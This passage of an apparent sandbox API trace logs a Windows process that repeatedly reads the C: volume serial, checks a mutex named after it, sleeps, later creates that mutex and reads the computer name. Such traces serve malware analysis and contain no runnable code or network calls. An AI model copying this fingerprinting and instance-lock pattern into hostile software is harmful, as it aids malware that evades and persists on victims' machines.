GetProcessHeap () returned 0x11a0000 [0092.860] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0092.860] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe78 | out: hHeap=0x11a0000) returned 1 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0092.860] GetProcessHeap () returned 0x11a0000 [0092.860] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0092.861] GetProcessHeap () returned 0x11a0000 [0092.861] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x11b1460 [0092.861] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x318 [0092.861] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0092.861] CloseHandle (hObject=0x318) returned 1 [0092.861] GetProcessHeap () returned 0x11a0000 [0092.861] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0092.861] GetProcessHeap () returned 0x11a0000 [0092.861] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0092.861] Sleep (dwMilliseconds=0x3e8) [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfef0 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfe78 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bff40 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ca838 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ca838 | out: hHeap=0x11a0000) returned 1 [0094.182] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfe78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff40 | out: hHeap=0x11a0000) returned 1 [0094.182] GetProcessHeap () returned 0x11a0000 [0094.182] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0094.182] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.183] GetProcessHeap () returned 0x11a0000 [0094.183] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe78 | out: hHeap=0x11a0000) returned 1 [0094.183] GetProcessHeap () returned 0x11a0000 [0094.183] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0094.183] GetProcessHeap () returned 0x11a0000 [0094.183] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2138 [0094.183] GetProcessHeap () returned 0x11a0000 [0094.183] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x11b1460 [0094.183] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x31c [0094.183] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0094.183] CloseHandle (hObject=0x31c) returned 1 [0094.183] GetProcessHeap () returned 0x11a0000 [0094.183] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0094.184] GetProcessHeap () returned 0x11a0000 [0094.184] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0094.184] Sleep (dwMilliseconds=0x3e8) [0095.890] GetProcessHeap () returned 0x11a0000 [0095.890] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c01e8 [0095.890] GetProcessHeap () returned 0x11a0000 [0095.891] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bfef0 [0095.891] GetProcessHeap () returned 0x11a0000 [0095.891] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bffb8 [0095.892] GetProcessHeap () returned 0x11a0000 [0095.892] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0095.892] GetProcessHeap () returned 0x11a0000 [0095.892] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0095.892] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bfef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0095.892] GetProcessHeap () returned 0x11a0000 [0095.893] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffb8 | out: hHeap=0x11a0000) returned 1 [0095.893] GetProcessHeap () returned 0x11a0000 [0095.895] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c01e8 | out: hHeap=0x11a0000) returned 1 [0095.895] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0095.897] GetProcessHeap () returned 0x11a0000 [0095.897] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0095.897] GetProcessHeap () returned 0x11a0000 [0095.897] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0095.899] GetProcessHeap () returned 0x11a0000 [0095.899] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2768 [0095.899] GetProcessHeap () returned 0x11a0000 [0095.899] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2768, Size=0x72) returned 0x11b1460 [0095.899] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x31c [0095.899] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0095.899] CloseHandle (hObject=0x31c) returned 1 [0095.899] GetProcessHeap () returned 0x11a0000 [0095.899] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0095.899] GetProcessHeap () returned 0x11a0000 [0095.899] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0095.899] Sleep (dwMilliseconds=0x3e8) [0097.361] GetProcessHeap () returned 0x11a0000 [0097.361] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c01e8 [0097.361] GetProcessHeap () returned 0x11a0000 [0097.361] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0198 [0097.361] GetProcessHeap () returned 0x11a0000 [0097.361] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0080 [0097.361] GetProcessHeap () returned 0x11a0000 [0097.362] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0097.362] GetProcessHeap () returned 0x11a0000 [0097.362] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0097.367] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0198, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0097.367] GetProcessHeap () returned 0x11a0000 [0097.367] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0097.367] GetProcessHeap () returned 0x11a0000 [0097.367] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c01e8 | out: hHeap=0x11a0000) returned 1 [0097.368] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0097.424] GetProcessHeap () returned 0x11a0000 [0097.424] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0097.424] GetProcessHeap () returned 0x11a0000 [0097.424] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0097.424] GetProcessHeap () returned 0x11a0000 [0097.424] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0097.424] GetProcessHeap () returned 0x11a0000 [0097.425] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x11b1460 [0097.425] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0097.425] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0097.425] CloseHandle (hObject=0x324) returned 1 [0097.425] GetProcessHeap () returned 0x11a0000 [0097.425] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0097.425] GetProcessHeap () returned 0x11a0000 [0097.425] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0097.425] Sleep (dwMilliseconds=0x3e8) [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfef0 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11bff40 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfe50 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ca838 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ca838 | out: hHeap=0x11a0000) returned 1 [0098.581] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11bff40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfe50 | out: hHeap=0x11a0000) returned 1 [0098.581] GetProcessHeap () returned 0x11a0000 [0098.581] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0098.581] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff40 | out: hHeap=0x11a0000) returned 1 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b23c0 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b23c0, Size=0x72) returned 0x11b1460 [0098.582] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x318 [0098.582] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0098.582] CloseHandle (hObject=0x318) returned 1 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0098.582] GetProcessHeap () returned 0x11a0000 [0098.582] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0098.582] Sleep (dwMilliseconds=0x3e8) [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c01e8 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0080 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be188 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be188 | out: hHeap=0x11a0000) returned 1 [0099.680] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c01e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0099.680] GetProcessHeap () returned 0x11a0000 [0099.680] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0099.680] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0099.681] GetProcessHeap () returned 0x11a0000 [0099.681] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c01e8 | out: hHeap=0x11a0000) returned 1 [0099.681] GetProcessHeap () returned 0x11a0000 [0099.681] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b24e0 [0099.681] GetProcessHeap () returned 0x11a0000 [0099.682] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2330 [0099.682] GetProcessHeap () returned 0x11a0000 [0099.682] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2330, Size=0x72) returned 0x3b8ae80 [0099.682] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x224 [0099.682] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0099.682] CloseHandle (hObject=0x224) returned 1 [0099.682] GetProcessHeap () returned 0x11a0000 [0099.682] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b24e0 | out: hHeap=0x11a0000) returned 1 [0099.682] GetProcessHeap () returned 0x11a0000 [0099.682] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b8ae80 | out: hHeap=0x11a0000) returned 1 [0099.682] Sleep (dwMilliseconds=0x3e8) [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0080 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c00d0 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfdd8 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x1296f50 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1296f50 | out: hHeap=0x11a0000) returned 1 [0100.699] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c00d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfdd8 | out: hHeap=0x11a0000) returned 1 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0100.699] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.699] GetProcessHeap () returned 0x11a0000 [0100.699] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0100.700] GetProcessHeap () returned 0x11a0000 [0100.700] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2768 [0100.700] GetProcessHeap () returned 0x11a0000 [0100.700] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2138 [0100.700] GetProcessHeap () returned 0x11a0000 [0100.700] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x3b8af80 [0100.700] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x224 [0100.700] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0100.700] CloseHandle (hObject=0x224) returned 1 [0100.700] GetProcessHeap () returned 0x11a0000 [0100.700] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2768 | out: hHeap=0x11a0000) returned 1 [0100.700] GetProcessHeap () returned 0x11a0000 [0100.700] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b8af80 | out: hHeap=0x11a0000) returned 1 [0100.700] Sleep (dwMilliseconds=0x3e8) [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfef0 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0198 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c0288 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x1296f50 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1296f50 | out: hHeap=0x11a0000) returned 1 [0103.041] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0198, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0288 | out: hHeap=0x11a0000) returned 1 [0103.041] GetProcessHeap () returned 0x11a0000 [0103.041] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0103.042] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b24e0 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2648 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2648, Size=0x72) returned 0x3b8b000 [0103.042] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x240 [0103.042] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x80 [0103.042] CloseHandle (hObject=0x240) returned 1 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b24e0 | out: hHeap=0x11a0000) returned 1 [0103.042] GetProcessHeap () returned 0x11a0000 [0103.042] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b8b000 | out: hHeap=0x11a0000) returned 1 [0103.042] Sleep (dwMilliseconds=0x3e8) [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c01e8 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0080 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bffb8 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x1296f50 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1296f50 | out: hHeap=0x11a0000) returned 1 [0104.393] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0080, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffb8 | out: hHeap=0x11a0000) returned 1 [0104.393] GetProcessHeap () returned 0x11a0000 [0104.393] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c01e8 | out: hHeap=0x11a0000) returned 1 [0104.393] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2e7f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2e7f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b24e0 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2138 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x3b8a800 [0104.394] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0104.394] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x240 [0104.394] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x0 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b24e0 | out: hHeap=0x11a0000) returned 1 [0104.394] GetProcessHeap () returned 0x11a0000 [0104.394] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b8a800 | out: hHeap=0x11a0000) returned 1 [0104.394] ReleaseMutex (hMutex=0x240) returned 1 [0104.394] CloseHandle (hObject=0x240) returned 1 [0104.395] Sleep (dwMilliseconds=0x3e8) Thread: id = 14 os_tid = 0x127c [0074.079] GetProcessHeap () returned 0x11a0000 [0074.079] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x21a) returned 0x11ccc70 [0074.079] GetProcessHeap () returned 0x11a0000 [0074.079] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11b6e58 [0074.079] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a4 [0074.080] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a8 [0074.080] GetComputerNameW (in: lpBuffer=0x11ccc80, nSize=0x2fbfc0c | out: lpBuffer="NQDPDE", nSize=0x2fbfc0c) returned 1 [0074.080] GetProcessHeap () returned 0x11a0000 [0074.080] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0080 [0074.080] CloseHandle (hObject=0x2a8) returned 1 [0074.080] CloseHandle (hObject=0x2a4) returned 1 [0074.080] GetProcessHeap () returned 0x11a0000 [0074.080] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b6e58 | out: hHeap=0x11a0000) returned 1 [0074.080] GetProcessHeap () returned 0x11a0000 [0074.080] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0074.080] GetProcessHeap () returned 0x11a0000 [0074.080] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, 